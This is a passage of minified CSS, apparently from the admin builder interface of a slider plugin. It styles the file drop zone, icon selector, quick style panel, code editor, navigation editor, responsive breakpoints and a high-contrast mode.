color: #fff; font-size: 17px; line-height: 25px; font-weight: 600; margin-bottom:5px;} .filedrop_line_2 { color: #777c80; font-size: 17px; line-height: 25px; font-weight: 600;margin-bottom:5px; } .filedrop_clickbtn { color: #fff; font-size: 15px; line-height: 40px; padding:0px 30px; font-weight: 500;background: #006dd2; display: inline-block; cursor: pointer; } .editordrop .filedrop_line_2 { color: #fff; } #filedrop .uploadfileinput { width: 0.1px; height: 0.1px; opacity: 0; overflow: hidden; position: absolute; z-index: -1; } /* STATES */ .filedrop_state_process, .filedrop_state_drop { display: none; pointer-events: none } .filedrop_state_process .big_filedrop_icon.rotating {animation:rsrotating 1s linear infinite} .filedrop_state_process #file_upload_processicon { color: #006dd2; } .filedrop_state_process #file_upload_processicon.error { color: #ffb818; } .filedrop_state_process #file_upload_processicon.done { color: #00b900; } .fileupload_status.rotating { animation:rsrotating 1s linear infinite; color: #006dd2; } .fileupload_status.doneupload { color: #00b900; } @keyframes rsrotating { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } .fileupload_message, .fileupload_status.errorupload { color: #ffb818; } .fileupload_message { margin-left: 10px; } .fileupload_status { margin-left: 5px; } .fileupload_status .filedrop_state_process .big_filedrop_icon, .filedrop_state_drop .big_filedrop_icon { color: #006dd2; } #filedrop_zone.is-dragover { border-color: #fff; } #filedrop_zone.is-dragover .filedrop_state_process, #filedrop_zone.is-dragover .filedrop_state_idle { display: none; } #filedrop_zone.is-dragover .filedrop_state_drop { display: block; } #filedrop_zone.is-processing .filedrop_state_idle, #filedrop_zone.is-processing .filedrop_state_drop { display: none; } #filedrop_zone.is-processing .filedrop_state_process { display: block; } /**************************** - ICON SELECTOR CONTAINER - ****************************/ #rs_iconselector { box-sizing: border-box; background:#2a2c2f; box-shadow: 0px 3px 10px rgba(0,0,0,0.25); z-index: 1000; position: absolute; display:none; overflow:hidden;} #text_button_layer_content_wrapper #rs_iconselector { width:280px; height:305px; top:20px; left:20px;} #rs_iconselector_inner { overflow: hidden; width: 100%; height: 100%; box-sizing: border-box; position: absolute; top: 40px; } #text_button_layer_content_wrapper #rs_iconselector_inner { height:275px;} .closers_iconselector { background:#2a2c2f; position: absolute; font-size: 20px; width: 40px; height: 40px; color: #777c80; cursor: pointer; right:0px;top:0px; text-align: center;line-height: 40px !important; border-left:1px solid #323438;} .closers_iconselector:hover { color: #fff; } #rs_iconselector .font_icon_subcontainer { border-bottom: 1px solid #323438; } #rs_iconselector .font_icon_subcontainer .font_icon_subcontainer_title { text-align: center; color: #777c80; font-size: 13px; font-weight: 900; line-height: 30px; border-bottom: 1px solid #323438; text-transform: uppercase} #rs_iconselector .font_icon_subcontainer i { color: #b7bbc0; font-size: 20px; line-height: 40px !important; width: 40px; height: 40px; display: inline-block; text-align: center; cursor: pointer} #rs_iconselector .font_icon_subcontainer i:hover { background: #006dd2; color: #fff; } .rs_iconselector_header { background: #2a2c2f; position: absolute; top: 0px; left: 0px; line-height: 40px; height: 40px; width: 100%; border-bottom: 1px solid #323438; } #rb_tlw .rs_iconselector_header input[type=text] { line-height: 40px !important; margin: 0 !important; width:100%; height:40px;} /**************************** - QUICK STYLE CONTAINER - ****************************/ #quick_style { position: fixed; top:0px; height:100%; right:0px; width:0px; box-sizing: border-box; z-index: 9500; padding-top:50px; display:none;overflow:hidden; box-shadow:-10px 20px 40px 0px rgba(0,0,0,0.35);} #quick_style_inner { position: absolute; width: 320px; min-height: 100%; top: 0px; left: -200px; box-sizing: border-box; } #quick_style_menu { background: #202224;line-height: 50px; padding: 0px 20px; color: #777c80; font-size: 12px; font-weight: 400; border-bottom: 1px solid #2a2c2f; z-index: 20; position: relative} .quick_style_menu_point { display: inline-block; margin-right:20px; cursor: pointer; text-transform: capitalize} .quick_style_menu_point:hover, .quick_style_menu_point.active { color: #fff; } #quick_style_close { position: absolute; line-height: 50px; right: 0px; top: 0px; width: 50px; height: 50px; text-align: center; cursor: pointer } #quick_style_close:hover { color: #fff; } #quick_style_scrollable_wrap { width: 100%; height:100%; padding-top: 50px; position: absolute; box-sizing: border-box;top:0px; z-index: 5; overflow:hidden;} #quick_style_scrollable { width: 100%; height:100%; position: relative; box-sizing: border-box;background: #202224;} .quick_style_dep { line-height: 30px; border-bottom: 1px solid rgba(70,70,70,0.4); font-size: 11px; font-weight: 500; text-transform: uppercase; padding: 0px 20px; background: #1b1d1e; color: #777c80; } .quick_style_example_wrap { background: #202224; height: 100px; border-bottom:1px solid rgba(70,70,70,0.4); position: relative; box-sizing:border-box; overflow: hidden; cursor: pointer; vertical-align: top} .quick_style_example { padding:0px 20px; height:100%; position: relative;} .quick_style_example_content { color: #fff;vertical-align: top; transform: translateY(-50%); top: 50%; position: absolute; box-sizing: border-box;overflow-wrap: break-word;word-wrap: break-word;hyphens: auto; max-width:285px;} .quick_style_example_content.rev-btn { transform: translateY(-50%) translateX(-50%); left: 50%; white-space: nowrap; } .quick_style_example_content * { color: inherit; } .qsew_half { width: 50%; display: inline-block } .qsew_third { width: 33.333%; display: inline-block } .qsew_fourth { width: 25%; display: inline-block } .qsew_half .quick_style_example_content, .qsew_third .quick_style_example_content, .qsew_fourth .quick_style_example_content { transform: translateX(-50%) translateY(-50%); top:50%; left:50%; white-space: nowrap;} .qsec_info { background: #006dd2;color: #fff; font-size: 11px; font-weight: 500; text-transform: uppercase; line-height: 18px; padding: 0px 5px; position: absolute; top:0px; left:20px; z-index: 4; display: none} .quick_style_example_wrap:hover { background: #2a2c2f; } .quick_style_example:hover .qsec_info { display:block;} #quick_style_dep_headlines .quick_style_example:after { position: absolute;top: 0px; right: 0px; width: 40px; height:100%; content: " "; background: linear-gradient(to right, rgba(32,34,36,0) 0%,rgba(32,34,36,1) 75%); } #quick_style_dep_headlines.dark .quick_style_example:after { background: linear-gradient(to right, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 75%); } #quick_style_dep_headlines.dark .quick_style_example_wrap { border-bottom-color: #b7bbc0; } .qse_boxshadow { width: 60px; height: 60px; background: #b7bbc0; padding: 0px; top: 20px; left: 50px; } .qse_textshadow { font-size: 20px; font-family: roboto; font-weight: 500; white-space: nowrap; color: #fff; text-align: center; line-height: 100px} /**************************** - GLOBAL COLOR PICKER - ****************************/ #rbm_colorskins { width: 390px; } #rbm_colorskins .rbm_content { padding: 30px; } #rbm_colorskins .mcg_page {display: none;width: 100%;height: 100%;position: absolute;top: 0px;left: 0px;box-sizing: border-box; padding:75px 120px;background-color:#212226;} #rbm_colorskins .mcg_page.mcg_selected { display: block; } #rb_tlw input[type=text].globalskin_alias { width: 170px; margin-right: 5px; } #rb_tlw .revbuilder-colorpicker.visible-cp-input { width: 120px; } #rb_tlw .revbuilder-colorpicker.visible-cp-input input { width: 90px;margin: -7px 0px;} .modal_fields_title { font-size: 14px; line-height: 30px; vertical-align: top; margin-bottom: 15px; font-weight: 900; color: #b7bbc0; display: inline-block } .global_sas_wrap { position:absolute; bottom:0px; left:0px; text-align: center;width: 100%; padding: 10px 0px 0px; border-top: 1px solid #3f4449; } /**************************** - CSS / JS API - ****************************/ #rbm_slider_api .rbm_header { z-index: 10; } .modal_header_functions { margin-left: 50px;display: inline-block;vertical-align: top;left: 50%;position: absolute;transform: translateX(-50%);top: 0px; } .js_css_editor_tabs { display: inline-block; padding: 0px 10px; cursor: pointer; vertical-align: top;} .js_css_editor_tabs:hover { color: #fff; } .js_css_editor_tabs.selected { background: #006dd2; color:#fff;} .codes_css_js_inputs { width: 100% !important; height: 500px !important; margin: 0px !important; } #rbm_slider_api .rbm_content { height: 500px; display: block; position: relative; z-index: 10; } .emc_toggle_wrap { position: absolute; right: -40px; height: 100%; min-width: 30px;width: 350px; z-index: 1; top:0px; height:551px;border-left:1px solid #000; transition:right 0.5s} .emc_toggle_wrap:after { content: ""; position: absolute; top: 0px;left: 0px; width: 100%; height: 50px; background: #2a2c2f; z-index:20;} #emc_toggle { position: absolute; right: 0px; width: 40px; top: 280px; height: 40px; color: #b7bbc0; font-size: 20px; cursor: pointer; text-align: center; z-index: 20; line-height: 40px !important} .emc_toggle_info { position: absolute;font-size: 13px;color: #b7bbc0;line-height: 16px;top: 225px;left: auto;right: 0px;width: 40px;z-index: 100;text-align: center; } .emc_toggle_inner { position: absolute; top: 0px; left: 0px; width: 350px; height: 551px; overflow: hidden; } #emc_toggle:hover { color: #fff; } #form_slidergeneral_advanced_api { padding: 0px; background: #3f444a; /*#323438;*/ padding-top: 70px; } #form_slidergeneral_advanced_api .form_inner_header { display: block; background: transparent; height:50px; line-height: 50px; text-align: center; } #form_slidergeneral_advanced_api .form_inner_header i { margin-right: 15px; } #form_slidergeneral_advanced_api .collapsable { padding:30px; width: 280px; } #rs_css_js_area .RevMirror { height: 500px !important; box-sizing: border-box !important; background: #323438 !important; padding-top:10px !important; line-height: 20px !important;} #rs_css_js_area .cm-s-hopscotch .RevMirror-gutters { background: #323438 !important; padding-right:10px !important; border-right: 1px solid #202224 !important; } #rbm_slider_api i.rbm_close.material-icons { line-height: 50px !important; z-index: 30 !important; width: 40px !important; background: #2a2c2f !important} #rs_css_js_area .RevMirror .RevMirror-sizer { border-left: 10px solid transparent;} #rs_css_js_area .RevMirror .RevMirror-gutter-wrapper { transform:translateX(-10px);} #custom_css_hover_layer_area .RevMirror, #custom_css_layer_area .RevMirror { height: 200px !important;box-sizing: border-box !important; background: #2a2c2f !important; padding-top:0px !important; line-height: 20px !important; } #custom_css_hover_layer_area .RevMirror-lines, #custom_css_layer_area .RevMirror-lines { padding: 4px 10px; } .custom_css_layer_area_pre { line-height: 20px; color: #777c80; padding: 10px; font-size: 13px; } .css_opening_closing_bracket { line-height: 20px; color: #b7bbc0; padding: 5px 10px; font-size: 13px; background: #2a2c2f !important; font-weight: 600; } #rs_css_js_area .RevMirror-linenumber { min-width:21px;} .emc_toggle_wrap.open { right: -351px; } .emc_toggle_wrap.open #emc_toggle { transform: scaleX(-1); } .emc_toggle_wrap:hover #form_slidergeneral_advanced_api { background:#202224 } .emc_toggle_wrap.open #form_slidergeneral_advanced_api { background: #202224; } .show_more_toggle { margin: 12px 0px; position:relative; height:12px; width: 100%;} .show_more_toggle .shmt_textmore, .show_more_toggle .shmt_textless { position:absolute; right:20px; top:0px; background: #323438; padding:0px 10px; color:#b7bbc0; line-height: 12px; font-size: 12px; z-index:5; font-weight: 400; cursor: pointer; } .show_more_toggle.showlesson .shmt_textmore, .show_more_toggle .shmt_textless { display: none; } .show_more_toggle.showlesson .shmt_textless { display: block; } .show_more_toggle .shmt_bar {background:#3f444a; position: absolute; top:6px; left:-20px; width:330px; height:1px; z-index:2;} .show_more_toggle i.material-icons { font-size: 15px !important; margin-left: 5px; margin-top: 1px } /**************************** - NAVIGATION EDITOR - ****************************/ #settings_sticky_info { display:none; width: 320px; height:50px; background:#202224; z-index: 500; position: absolute; top: 0px; left: 0px; padding:12px 15px; box-sizing: border-box;box-shadow: 0px 5px 10px 0px rgba(0,0,0,0.25);} #settings_sticky_info.sticky_in_animation #settings_sticky_left.blue.purple { background: #5e35b1 !important; } /**************************** - NAVIGATION EDITOR - ****************************/ #rbm_navigation_editor { width: 1200px; height: 800px; } #rbm_navigation_editor .rbm_content { height: 750px; width: 100%; position: relative } #rs_ne_left_wrap { width: 260px; position: absolute;top: 0px; left: 0px; background: #323438; height: 100%;} #rs_ne_right_wrap { width: 940px; height:100%; position: absolute; top: 0px; left: 260px; } #rs_ne_preview_wrap { width: 940px; height: 220px; position: absolute; top: 0px; left: 0px; background:url(../images/light_pattern_2x.png); background-size:16px 16px; background-repeat:repeat; overflow: hidden;} #rs_ne_ce_wrap { width: 690px; height: 530px; position: absolute;top: 220px; background: #212226 } #rs_ne_helper_wrap { width: 250px; height: 530px; position: absolute;right: 0px;top: 220px; background:#333438;box-sizing: border-box; padding:30px 0px 30px 30px} #rs_ne_navlist_wrap { width: 100%; height: 680px; position: absolute; overflow: hidden; } #rs_ne_navlist { width: 100%; height: auto; position: relative } .rs_ne_add_new_wrap { width: 100%; padding: 20px; box-sizing: border-box } #rs_ne_navlist_wrap .rs_ne_add_new_wrap { position: absolute; bottom: 0px; left: 0px; } .rs_ne_header, .rs_ne_navlist_header { font-size: 14px; font-weight: 900; color: #777c80; text-transform: uppercase; padding: 30px 20px 15px; line-height: 15px; border-bottom: 1px solid #3f444a; } .rs_ne_header { padding-top: 0px; border: none; text-align: left; padding-bottom: 20px; padding-left: 0px; } #rs_nav_css_js_area { position: absolute;top: 75px;left: 0px;width: 100%;height: 455px; padding: 20px;box-sizing: border-box; z-index: 1} #rs_nav_css_js_area .RevMirror { height: 100%; background: transparent; } #rs_nav_css_js_area .RevMirror.cm-s-hopscotch span.cm-error { background: transparent; color: #006dd2; } #rs_nav_css_js_area .RevMirror.cm-s-hopscotch span.cm-tag { background: transparent; color: #b7bbc0; } #rs_ne_horizontaltest { margin-left: 20px; } #rs_ne_verticaltest { margin-left: 5px; } #rs_ne_verticaltest.selected, #rs_ne_horizontaltest.selected { background: #006dd2; color: #fff; } #rs_ne_settings .bg_align_row { margin-bottom: 0px; } #rs_ne_settings .bg_alignselector { width: 10px; height: 10px; } #rs_ne_settings .bg_alignselector:nth-child(2) { left: 14px; } #rs_ne_settings .bg_alignselector:nth-child(3) { left: 28px; } #rs_ne_settings .bg_alignselector_wrap { margin-left: 15px; margin-top: -5px; } /* ARROWS DEMO*/ #rs_ne_arrows { width: 100%; height: 100%; position: absolute; z-index: 2; } #rs_ne_tp-rightarrow { right: 20px; top: 50%; transform: translateY(-50%); position: absolute } #rs_ne_tp-leftarrow { left: 20px; top: 50%; transform: translateY(-50%); position: absolute } #rs_ne_arrows .tp-arr-imgholder { background-position: center center; background-size: cover; background-repeat: no-repeat; background-image: url(../images/sources/gallery.png); } /* BULLETS DEMO */ #rs_ne_bullets { position: absolute; } #rs_ne_bullets.nav-pos-ver-top { top: 30px; bottom: auto;} #rs_ne_bullets.nav-pos-ver-center { top: 50%; bottom: auto; transform:translateY(-50%);} #rs_ne_bullets.nav-pos-ver-bottom { bottom: 30px; top: auto;} #rs_ne_bullets.nav-pos-hor-left { left: 30px; right: auto;} #rs_ne_bullets.nav-pos-hor-center { left: 50%; right: auto; transform:translateX(-50%);} #rs_ne_bullets.nav-pos-hor-right { right: 30px; left: auto;} /* TABS DEMO */ #rs_ne_tabs { position: absolute; } #rs_ne_tabs.nav-pos-ver-top { top: 10px; bottom: auto;} #rs_ne_tabs.nav-pos-ver-center { top: 50%; bottom: auto; transform:translateY(-50%);} #rs_ne_tabs.nav-pos-ver-bottom { bottom: 10px; top: auto;} #rs_ne_tabs.nav-pos-hor-left { left: 10px; right: auto;} #rs_ne_tabs.nav-pos-hor-center { left: 50%; right: auto; transform:translateX(-50%);} #rs_ne_tabs.nav-pos-hor-right { right: 10px; left: auto;} #rs_ne_tabs.nav-pos-hor-center.nav-pos-ver-center { transform:translateY(-50%) translateX(-50%);} /* THUMBS DEMO */ #rs_ne_thumbs { position: absolute; } #rs_ne_thumbs.nav-pos-ver-top { top: 10px; bottom: auto;} #rs_ne_thumbs.nav-pos-ver-center { top: 50%; bottom: auto; transform:translateY(-50%);} #rs_ne_thumbs.nav-pos-ver-bottom { bottom: 10px; top: auto;} #rs_ne_thumbs.nav-pos-hor-left { left: 10px; right: auto;} #rs_ne_thumbs.nav-pos-hor-center { left: 50%; right: auto; transform:translateX(-50%);} #rs_ne_thumbs.nav-pos-hor-right { right: 10px; left: auto;} #rs_ne_thumbs.nav-pos-hor-center.nav-pos-ver-center { transform:translateY(-50%) translateX(-50%);} #rs_ne_bullets .tp-bullet-image { background-position: center center; background-size: cover; background-repeat: no-repeat; background-image: url(../images/sources/gallery.png); } #rs_ne_tabs .tp-tab-image { background-position: center center; background-size: cover; background-repeat: no-repeat; background-image: url(../images/sources/gallery.png); } #rs_ne_thumbs .tp-thumb-image { background-position: center center; background-size: cover; background-repeat: no-repeat; background-image: url(../images/sources/gallery.png); } /* NAV MODE SELECTOR */ .rs_ne_selector { width: 50%; display: inline-block; background: #3a3e44; cursor: pointer; color: #b7bbc0; font-size: 13px; font-weight: 400; line-height: 40px; padding:0px 0px 0px 30px; box-sizing: border-box;} .rs_ne_selector:first-child { border-right: 1px solid #333438; border-bottom: 1px solid #333438; } .rs_ne_selector:nth-child(2) { border-bottom: 1px solid #333438; } .rs_ne_selector:nth-child(3) { border-right: 1px solid #333438; } .rs_ne_selector i.material-icons { font-size: 20px; margin-right:10px} .rs_ne_selector.selected, .rs_ne_selector:hover { color: #fff; } .rs_ne_selector.selected { background: #006dd2; } #rs_ne_settings { width: 100%; height: 30px; border-bottom: 1px solid #333438; padding:22px; line-height: 30px} /* INPUT AND LABEL CHANGES */ #rb_tlw input[type="text"]#rs_ne_nav_classname { width: 120px;min-width: 120px; max-width: 120px; } #rb_tlw input[type="text"]#rs_ne_nav_space, #rb_tlw input[type="text"]#rs_ne_nav_width, #rb_tlw input[type="text"]#rs_ne_nav_height { width:60px !important;} #rs_ne_cssmeta_config label_a { width: 60px !important; } #rb_tlw #rs_ne_cssmeta_config .revbuilder-colorpicker.visible-cp-input, #rb_tlw #rs_ne_cssmeta_config input[type="text"] { width: 125px; } #rb_tlw #rs_ne_cssmeta_config .revbuilder-colorpicker.visible-cp-input {margin-bottom:10px;} #rb_tlw #rs_ne_cssmeta_config .revbuilder-colorpicker.visible-cp-input input { width: 97px;margin: -37px 0px 0px 20px; } #rb_tlw .infactorymode input[type="text"]#rs_ne_nav_width, #rb_tlw .infactorymode input[type="text"]#rs_ne_nav_height, #rb_tlw .infactorymode input[type="text"]#rs_ne_nav_classname { pointer-events: none; opacity: 0.5; } #rs_ne_cssmeta_config .basic_action_button.onlyicon.autosize { width: 85px; } #rs_ne_cssmeta_config .basic_action_button.onlyicon.autosize.disabled { opacity: 0.5; pointer-events: none; } #rs_ne_def_meta_color_val_wrap, #rs_ne_def_meta_color-rgba_val_wrap { display: none; } .slide_anim_alternates { position: relative } .remove_altslide.basic_action_button.leftbutton.onlyicon { float: none; position: absolute; left: -15px; background: none; display: none; } .slide_anim_alternates:hover .remove_altslide.basic_action_button.leftbutton.onlyicon { display: block } #rb_tlw #rs_ne_settings input[type="text"] { margin-bottom: 0px } #rs_ne_markup_css_button_wrap { display: inline-block; position: absolute; right: 20px; top: 95px; background: #212226; z-index: 10; } .rs_ne_markup_css_button { display: inline-block; cursor:pointer; border: 1px solid #333438; text-align: center; line-height: 28px; box-sizing: border-box; position: relative; width:100px; color:#b7bbc0; font-size:13px;} .rsnmcb_left { border-radius: 4px 0px 0px 4px; z-index: 1;} .rsnmcb_right { border-radius: 0px 4px 4px 0px; margin-left: -1px;z-index: 1} .rs_ne_markup_css_button.selected { border-radius: 4px; color:#fff; border-color:#3f444a; z-index: 2;} #rs_ne_markup_css_button_wrap, #rs_ne_settings, #rs_ne_helper_wrap, #rs_ne_css_meta, #rs_ne_cssmeta_config { display: none; } .rs_ne_meta_value_btn, .rs_ne_markup_meta_btn { color: #777c81; font-size: 14px; line-height: 30px; cursor: pointer; position: relative; } .rs_ne_meta_value_btn:hover, .rs_ne_markup_meta_btn:hover { color: #fff; } #rs_ne_meta_values_inner { position: relative; } /* TOOLBAR AND INPUT NAME */ .rs_ne_nav_skin { display: block; position: relative; line-height: 40px; border-bottom: 1px solid #3f444a; padding: 0px 20px; color:#b7bbc0; font-size: 14px; font-weight: 400; cursor: pointer; box-sizing: border-box;} .rs_ne_nav_skin:hover, .rs_ne_nav_skin.selected { background: #3a3e44; color: #fff; } .rs_ne_nskin_message, .rs_ne_nskin_title { display: block; width: 125px; position: relative; white-space: nowrap; overflow: hidden} .rs_ne_nskin_message {display:none;} #rb_tlw .rs_ne_nskin_title_input[type=text] { display: none; outline: none; box-shadow: none; border: none; width: 135px; line-height: 40px; height: 40px; margin: 0px; background: transparent; padding: 0px; } .rs_ne_nskin_tbar_yesno, .rs_ne_nskin_tbar_basic { display:none;position: absolute; top:0px; right:0px; text-align: right; width: 110px; } #rs_ne_meta_values_inner .rs_ne_nskin_tbar_basic { right: 15px; } .rs_ne_nskin_tbar_yesno i.material-icons, .rs_ne_nskin_tbar_basic i.material-icons { margin-right:10px; font-size: 16px; color: #777c80; cursor: pointer; } .rs_ne_nskin_tbar_yesno i.material-icons:hover, .rs_ne_nskin_tbar_basic i.material-icons:hover { color: #fff; } .rs_ne_listelement:hover .rs_ne_nskin_tbar_basic { display: block; } .rs_ne_listelement.rs_showmessage .rs_ne_nskin_message, #rb_tlw .rs_ne_listelement.rs_changename .rs_ne_nskin_title_input[type=text], .rs_ne_listelement.rs_showmessage .rs_ne_nskin_tbar_yesno, .rs_ne_listelement.rs_changename .rs_ne_nskin_tbar_yesno { display: block !important; } .rs_ne_listelement.rs_showmessage .rs_ne_nskin_title, .rs_ne_listelement.rs_showmessage .rs_ne_nskin_tbar_basic, .rs_ne_listelement.rs_changename .rs_ne_nskin_title, .rs_ne_listelement.rs_changename .rs_ne_nskin_tbar_basic, .rs_ne_listelement.rs_changename:hover .rs_ne_nskin_tbar_basic { display: none !important; } .rs_ne_list_wrapper { position: relative; max-height: 250px; overflow: hidden; width: 100%; } #rs_ne_factory_list, #rs_ne_custom_list { position: relative } /* NAVIGATION ICONS */ #rs_ne_icons { width: 140px; text-align: right; position: relative; display: block; margin-left:60px; margin-bottom:20px;} .navpresetrow .font_icon_subcontainer i, #rs_ne_icons .font_icon_subcontainer i { color: #b7bbc0; font-size: 17px; line-height: 26px !important; width: 26px; height: 26px; display: inline-block; text-align: center; cursor: pointer; } .navpresetrow .font_icon_subcontainer i:hover, .navpresetrow .font_icon_subcontainer i.selected, #rs_ne_icons .font_icon_subcontainer i:hover, #rs_ne_icons .font_icon_subcontainer i.selected { background: #006dd2; color: #fff; } .navpresetrow .input_presets { width: 156px; } #save_naveditor { display:none; width: 250px; height:50px; line-height:50px; color:#fff; font-size:15px; font-weight:500; position: absolute; bottom: 0px; right: 0px; text-align: center; z-index: 10000; background: #006dd2; cursor: pointer } #save_naveditor:hover { background: #0a447a; } #save_naveditor i { margin-right: 5px; line-height: 50px !important; font-size: 20px } ._lc_content_ rs-fcr {width: 0;height: 0;border-left: 40px solid transparent;border-right: 0px solid transparent;border-top: 40px solid #00A8FF;position: absolute;right:100%;top:0px;} ._lc_content_ rs-fcrt {width: 0;height: 0;border-left: 40px solid transparent;border-right: 0px solid transparent;border-bottom: 40px solid #00A8FF;position: absolute;right:100%;top:0px;} ._lc_content_ rs-bcr {width: 0;height: 0;border-left: 0px solid transparent;border-right: 40px solid transparent;border-bottom: 40px solid #00A8FF;position: absolute;left:100%;top:0px;} ._lc_content_ rs-bcrt {width: 0;height: 0;border-left: 0px solid transparent;border-right: 40px solid transparent;border-top: 40px solid #00A8FF;position: absolute;left:100%;top:0px;} .tooltip_wrap {transform: rotateY(180deg)} .help_wrap{ display: block; position: relative; display: inline-block; } .gm_helpmenu{ display: none; } #help_menu{ position: absolute; font-size: 12px;; width: 250px; left: 0; top: 100%; text-align: left; display: none; margin: 0; line-height: 1.5; list-style: none; } .help_wrap:hover #help_menu{ display: grid; } #help_menu a{ text-decoration: none; color: #B8BBC0; display: flex; align-items: center; } #help_menu li:hover a{ color: #FFF; } #help_menu li{ display: flex; align-items: center; padding: 2px 10px; margin: 0; background-color: #2A2C2F; color: #B8BBC0; } #help_menu li:hover{ background-color: #006DD1; color: #fff; } #help_menu .tponoffwrap{ margin: 0; margin-left: auto; filter: drop-shadow(0px 3px 5px rgba(0, 0, 0, 0.25)); } /**************************** - MEDIA QUERY CHANGES - ****************************/ @media only screen and (max-width : 1420px) { .help_wrap .toolbar_btn_txt, .quick_style_wrap .toolbar_btn_txt { display: none; } .help_wrap, .quick_style_wrap { padding: 0px; width:50px; text-align: center} .help_wrap.toolbar_btn>.material-icons, .quick_style_wrap.toolbar_btn>.material-icons { margin-right: 0px; } } @media only screen and (max-width : 1290px) { .toolbar_btn { padding: 0px; } .toolbar_btn_txt { display: none; } .toolbar_btn>.material-icons { margin-right: 0px; } .layertoolbar_wrap { position: relative; top: auto; left: auto; margin-left: 0px; } .rso_scrollmenuitem { margin-right: 20px; } .toolbar_rightoriented .tool_dd_wrap { margin-left: -160px; } .toolbar_rightoriented #toolkit_selector_wrap .tool_dd_wrap { margin-left: -130px; } .toolbar_rightoriented #main_screenselector .tool_dd_wrap { margin-left: -189px; } } @media only screen and (max-width : 1365px) { #add_layer_toolbar_wrap { margin-right: 10px; } } @media only screen and (max-width : 1350px) { .cwt_link .pli_subtitle { font-size: 15px } .pli_left { min-width: 320px; max-width: 320px; padding-right: 30px; } #activation_area row { display: block } #activation_area row onehalf { display: block; width: 100%; padding: 0px !important;margin-bottom: 10px; } } @media only screen and (max-width : 1175px) { .features_wrapper, .featurebox { width: 100%; display: block; } } @media only screen and (max-width : 980px) { .pli_update_history ul { padding-left: 0px; } .pli_update_history ul li { padding-left: 20px; } .pli_update_history li:before { left: 4px; } } @media only screen and (max-width : 1165px) { #do_title_layer, #do_title_layer_not_selected, #do_title_slide, #do_title_layer_not_selected { font-size: 12px; width: 120px; } .toolbar_btn i.toptoolbaricon.material-icons, .toolbar_selector_icons .toptoolbaricon.material-icons { font-size: 17px; } .help_wrap, .quick_style_wrap, #undo_redo_wrap, .toolbar_selector_icons .selected_placeholder { width: 40px; } .highlight_arrow { left: 20px; } .layertoolbar_wrap { padding-left: 15px; } } @media only screen and (max-width : 1020px) { .rso_scrollmenuitem { margin-right: 20px; font-size:14px;} } @media only screen and (max-width : 820px) { .pli_update_history { height: 300px } .rs_fh_right { float: left; text-align: left;} .plugin_inforow { display: block; } .pli_left { display:block; min-width: none; border:none; width:100%;max-width: none; padding-right:0px;} .pli_right { display:block; min-width: none; padding-left:0px; margin-top:100px;width:100%;max-width: none;padding-left:0px;} #rs_overview .div75 { height: 100px; } #rs_overview .div150 { height: 100px; } } /* HIGH CONTRAST MODE */ .rs-high-contrast .slide_submodule_trigger, .rs-high-contrast .layer_submodule_trigger, .rs-high-contrast .general_submodule_trigger, .rs-high-contrast .nav_submodule_trigger, .rs-high-contrast label_sub, .rs-high-contrast .label_sub, .rs-high-contrast label_short, .rs-high-contrast .label_short, .rs-high-contrast label_a_left, .rs-high-contrast .label_a_left, .rs-high-contrast label_a_right, .rs-high-contrast .label_a_right, .rs-high-contrast xy_label, .rs-high-contrast .xy_label, .rs-high-contrast label_full, .rs-high-contrast .label_full, .rs-high-contrast label_a, .rs-high-contrast .label_a, .rs-high-contrast #rb_tlw labelhalf .material-icons, .rs-high-contrast .description, .rs-high-contrast label_info, .rs-high-contrast .label_info, .rs-high-contrast .function_info, .rs-high-contrast .fake_onff_off, .rs-high-contrast .tponoff_off, .rs-high-contrast .ale_i_environment, .rs-high-contrast #decmod_subtxt, .rs-high-contrast .ale_i_content, .rs-high-contrast #revbuilder-cpicker, .rs-high-contrast .main_mode_selector, .rs-high-contrast #rs_overview .subtitle, .rs-high-contrast .rso_scrollmenuitem, .rs-high-contrast .action_button, .rs-high-contrast .rsl_breadcrumb, .rs-high-contrast grayiconbox, .rs-high-contrast .pli_subtitle, .rs-high-contrast .pli_update_history h3.version-number, .rs-high-contrast darkiconbox, .rs-high-contrast #general_frame_magnif_wrap .radiooption .shortcuttext, .rs-high-contrast #quick_style_menu, .rs-high-contrast .quick_style_dep, .rs-high-contrast .ol_filter_listelement, .rs-high-contrast #obj_fil_favorite, .rs-high-contrast #obj_updatefromserver, .rs-high-contrast #obj_addsliderasmodal, .rs-high-contrast .rs_overview .ddTP_C .ddTP_S--single .ddTP_S__rendered, .rs-high-contrast #rb_tlw .miniprevimage_wrap i.material-icons, .rs-high-contrast #rs_copyright, .rs-high-contrast .page_button { color: #b7bbc0; } .rs-high-contrast .fake_onff_off:after, .rs-high-contrast .tponoff_off:after { background: #b7bbc0; } .rs-high-contrast .disablecontainer { opacity: 0.65; } .rs-high-contrast .revbuilder-cpicker-bright { color: #fff; } .rs-high-contrast #time_linear .rm_ms, .rs-high-contrast #time_linear .rm_sec, .rs-high-contrast #time_linear .rm_twosec { border-left: 1px solid #777c80; color: rgba(183,187,192,1); } .rs-high-contrast #ruler_left .rm_five, .rs-high-contrast #ruler_left .rm_ten, .rs-high-contrast #ruler_left .rm_hundred { border-top: 1px solid #777c80; color: rgba(183,187,192,1); } .rs-high-contrast #ruler_top .rm_five, .rs-high-contrast #ruler_top .rm_ten, .rs-high-contrast #ruler_top .rm_hundred { border-left: 1px solid #777c80; color: rgba(183,187,192,1); } .rs-high-contrast .multiple_layers_selected #do_background_layer, .rs-high-contrast .multiple_layers_selected #do_foreground_layer, .rs-high-contrast .no_layers_selected #do_background_layer, .rs-high-contrast .no_layers_selected #do_foreground_layer { opacity: 0.35; } .rs-high-contrast .basic_action_button.disabled, .rs-high-contrast .basic_action_button.disabled i, .rs-high-contrast .ts_wrapbrtn.notinuse, .rs-high-contrast .loop_wrapbrtn.notinuse { color: rgba(183,187,192,0.55); } .rs-high-contrast .rs_overview .ddTP_C .ddTP_S--single .ddTP_S__arrow b { border-color: #b7bbc0 transparent transparent transparent; } .rs-high-contrast .oc_gray { color: #b7bbc0; border: 1px solid #797b7e; } .rs-high-contrast i.olibrary_favorit.material-icons { color: rgba(255,255,255,0.35); } .rs-high-contrast .layer_submodule_trigger:hover, .rs-high-contrast .layer_submodule_trigger.selected, .rs-high-contrast .slide_submodule_trigger:hover, .rs-high-contrast .slide_submodule_trigger.selected, .rs-high-contrast .general_submodule_trigger:hover, .rs-high-contrast .general_submodule_trigger.selected, .rs-high-contrast .nav_submodule_trigger:hover, .rs-high-contrast .nav_submodule_trigger.selected, .rs-high-contrast .ol_filter_listelement:hover, .rs-high-contrast .ol_filter_listelement.selected, .rs-high-contrast 